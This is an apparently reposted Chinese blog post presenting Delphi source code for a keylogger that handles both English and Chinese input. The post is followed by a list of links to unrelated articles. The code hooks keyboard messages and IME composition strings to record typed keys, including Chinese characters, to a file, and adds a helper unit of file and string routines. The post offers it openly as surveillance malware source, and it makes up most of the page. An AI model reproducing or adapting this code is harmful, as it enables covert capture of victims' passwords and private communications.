博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
一个中英文键盘记录源代码
阅读量:6881 次
发布时间:2019-06-26

本文共 6235 字,大约阅读时间需要 20 分钟。

 
一个中英文键盘记录源代码
function HookProcEn(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;//export;//回调函数
var
pcs:pMSG;//定义消息指针
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
  pcs:=PMSG(lparam);
  if pcs^.message = WM_KEYUP then
  begin
  if pcs^.wParam<$30 then
  begin
    if pcs^.wParam=VK_UP then ToFileProc('[↑]')
    else
    if pcs^.wParam=VK_LEFT then ToFileProc('[←]')
    else
    if pcs^.wParam=VK_RIGHT then ToFileProc('[→]')
    else
    if pcs^.wParam=VK_DOWN then ToFileProc('[↓]')
    else
    if pcs^.wParam=VK_BACK then ToFileProc('[<=]') //就是这个有问题了
    else
    if pcs^.wParam=VK_TAB then ToFileProc('[Tab]')
    else
    if pcs^.wParam=VK_ESCAPE then ToFileProc('[Esc]')
    else
    if PCS^.wParam=VK_Delete then ToFileProc('[Del]')
    else
    if PCS^.wParam=VK_MENU then ToFileProc('[Alt]')
    else
    if pcs^.wParam=VK_SHIFT then ToFileProc('[Shift]');
  end;
  end
  else
  if pcs^.message = WM_CHAR then //截获发向焦点窗口的键盘消息(WM_KEYUP和WM_KEYDOWN消息)
  begin
  if not (IsDBCSleadByte(pcs^.wParam)) then
  begin
    if (wParam and PM_REMOVE)>0 then
    begin
      if pcs^.wParam=VK_SPACE then ToFileProc(' ')
      else
      if pcs^.wParam=VK_RETURN then ToFileProc('#10')
      else
      ToFileProc(char(pcs^.wParam AND $FF))
    end;
  end;
  end;
end;
pcs:=nil;
end;
function HookProcCh(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;
var
dwLen:DWORD;
himc:HWND;
hFocus:THandle;
pcs:PCWPSTRUCT;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
  pcs:=PCWPSTRUCT(lparam);
  if PCs^.message = WM_IME_COMPOSITION then
  begin
    hFocus := GetFocus();
    HIMC := ImmGetContext(hFocus);//先获取当前正在输入的窗口的输入法句柄
    if HIMC = 0 then Exit;
    //将ImmGetCompositionString的获取长度设为0来获取字符串大小.
    dwLen := ImmGetCompositionString(hImc,GCS_RESULTSTR,nil,0);
    if dwLen > 0 then
    begin
        // 再调用一次.ImmGetCompositionString获取字符串
      if ImmGetCompositionString(HIMC, GCS_RESULTSTR, @cchar, dwLen + sizeof(WCHAR)) > 0 then
      begin
      if strcomp(cchar,cchar2)<>0 then
        ToFileProc(cchar);
      strcopy(cchar2,cchar);
      ZeroMemory(@cchar,20);
      end;
    end;
    ImmReleaseContext(hFocus, HIMC);
  end;
end;
pcs:=nil;
end;
unit Unit_Other;
interface
uses
  Windows;
const
  WM_DRAWCLIPBOARD    = $0308;
  WM_CHANGECBCHAIN    = $030D;
{======================Messages.pas============================================}
const
  NULL = 0;
  WM_DESTROY = $0002;
  WM_CHAR = $0102;
  WM_IME_CHAR = $0286;
  WM_IME_COMPOSITION = $010F;
{======================Imm.pas=================================================}
type
HIMC = Integer;
const
GCS_RESULTSTR                  = $0800;
imm32 = 'imm32.dll';
function ImmGetContext(hWnd: HWND): HIMC; stdcall; external imm32 name 'ImmGetContext';
function ImmGetCompositionString(hImc: HIMC; dWord1: DWORD; lpBuf: pointer; dwBufLen: DWORD): Longint; stdcall;external imm32 name 'ImmGetCompositionStringA';
function ImmReleaseContext(hWnd: HWND; hImc: HIMC): Boolean; stdcall;external imm32 name 'ImmReleaseContext';
{====================== SysUtils.pas==================================================}
function StrCopy(Dest: PChar; const Source: PChar): PChar;
function StrComp(const Str1, Str2: PChar): Integer;
function FileExists(const FileName: string): Boolean;
const
  fmOpenRead      = $0000;
  fmOpenWrite      = $0001;
  fmOpenReadWrite  = $0002;
  fmShareCompat    = $0000 platform; // DOS compatibility mode is not portable
  fmShareExclusive = $0010;
  fmShareDenyWrite = $0020;
  fmShareDenyRead  = $0030 platform; // write-only not supported on all platforms
  fmShareDenyNone  = $0040;
function FileCreate(const FileName: string): Integer;
function FileOpen(const FileName: string; Mode: LongWord): Integer;
function FileSeek(Handle, Offset, Origin: Integer): Integer;
function FileWrite(Handle: Integer; const Buffer; Count: LongWord): Integer;
procedure FileClose(Handle: Integer);
implementation
type
  LongRec = packed record
    case Integer of
      0: (Lo, Hi: Word);
      1: (Words: array[0..1] of Word);
      2: (Bytes: array[0..3] of Byte);
  end;
function FileAge(const FileName: string): Integer;
var
  Handle: THandle;
  FindData: TWin32FindData;
  LocalFileTime: TFileTime;
begin
  Handle := FindFirstFile(PChar(FileName), FindData);
  if Handle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(Handle);
    if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
    begin
      FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
      if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
        LongRec(Result).Lo) then Exit;
    end;
  end;
  Result := -1;
end;
function StrCopy(Dest: PChar; const Source: PChar): PChar;
asm
        PUSH    EDI
        PUSH    ESI
        MOV    ESI,EAX
        MOV    EDI,EDX
        MOV    ECX,0FFFFFFFFH
        XOR    AL,AL
        REPNE  SCASB
        NOT    ECX
        MOV    EDI,ESI
        MOV    ESI,EDX
        MOV    EDX,ECX
        MOV    EAX,EDI
        SHR    ECX,2
        REP    MOVSD
        MOV    ECX,EDX
        AND    ECX,3
        REP    MOVSB
        POP    ESI
        POP    EDI
end;
function StrComp(const Str1, Str2: PChar): Integer; assembler;
asm
        PUSH    EDI
        PUSH    ESI
        MOV    EDI,EDX
        MOV    ESI,EAX
        MOV    ECX,0FFFFFFFFH
        XOR    EAX,EAX
        REPNE  SCASB
        NOT    ECX
        MOV    EDI,EDX
        XOR    EDX,EDX
        REPE    CMPSB
        MOV    AL,[ESI-1]
        MOV    DL,[EDI-1]
        SUB    EAX,EDX
        POP    ESI
        POP    EDI
end;
function FileExists(const FileName: string): Boolean;
begin
  Result := FileAge(FileName) <> -1;
end;
function FileOpen(const FileName: string; Mode: LongWord): Integer;
{$IFDEF MSWINDOWS}
const
  AccessMode: array[0..2] of LongWord = (
    GENERIC_READ,
    GENERIC_WRITE,
    GENERIC_READ or GENERIC_WRITE);
  ShareMode: array[0..4] of LongWord = (
    0,
    0,
    FILE_SHARE_READ,
    FILE_SHARE_WRITE,
    FILE_SHARE_READ or FILE_SHARE_WRITE);
begin
  Result := -1;
  if ((Mode and 3) <= fmOpenReadWrite) and
    ((Mode and $F0) <= fmShareDenyNone) then
    Result := Integer(CreateFile(PChar(FileName), AccessMode[Mode and 3],
      ShareMode[(Mode and $F0) shr 4], nil, OPEN_EXISTING,
      FILE_ATTRIBUTE_NORMAL, 0));
end;
{$ENDIF}
function FileSeek(Handle, Offset, Origin: Integer): Integer;
begin
  Result := SetFilePointer(THandle(Handle), Offset, nil, Origin);
end;
function FileCreate(const FileName: string): Integer;
begin
  Result := Integer(CreateFile(PChar(FileName), GENERIC_READ or GENERIC_WRITE,
    0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0));
end;
function FileWrite(Handle: Integer; const Buffer; Count: LongWord): Integer;
begin
  if not WriteFile(THandle(Handle), Buffer, Count, LongWord(Result), nil) then
    Result := -1;
end;
procedure FileClose(Handle: Integer);
begin
  CloseHandle(THandle(Handle));
end;
end.
mybr的
本文转自 bilinyee博客,原文链接:    
http://blog.51cto.com/215363/916118
    如需转载请自行联系原作者            
你可能感兴趣的文章
本周半价(12.16-12.22)电子书
查看>>
是时候深入了解Linux的系统结构了
查看>>
4月第3周业务风控关注 | 文化部再次审查直播和游戏产品,已下架4939款直播应用...
查看>>
源码探探之startActivity(二)
查看>>
深入了解Flutter的isolate(1) ---- 事件循环(event loop)及代码运行顺序
查看>>
startService() 过程
查看>>
WebSocket 协议 1~4 节
查看>>
Android-WItemTouchHelperPlus几行代码搞定仿QQ侧滑
查看>>
Glide 知识梳理(5) 自定义GlideModule
查看>>
聊聊eureka的delta配置
查看>>
Masonry 源码解读(下)
查看>>
Swift如何给应用添加3D Touch菜单
查看>>
05_Node js 文件管理模块 fs
查看>>
关于python中可迭代对象和迭代器的一些理解
查看>>
界面无小事(五):自定义TextView
查看>>
ES6读书笔记(三)
查看>>
视频播放器全屏旋转方案
查看>>
根据调试工具看Vue源码之生命周期(一)
查看>>
RxJS教程
查看>>
在高并发环境下Reids做缓存踩坑记录
查看>>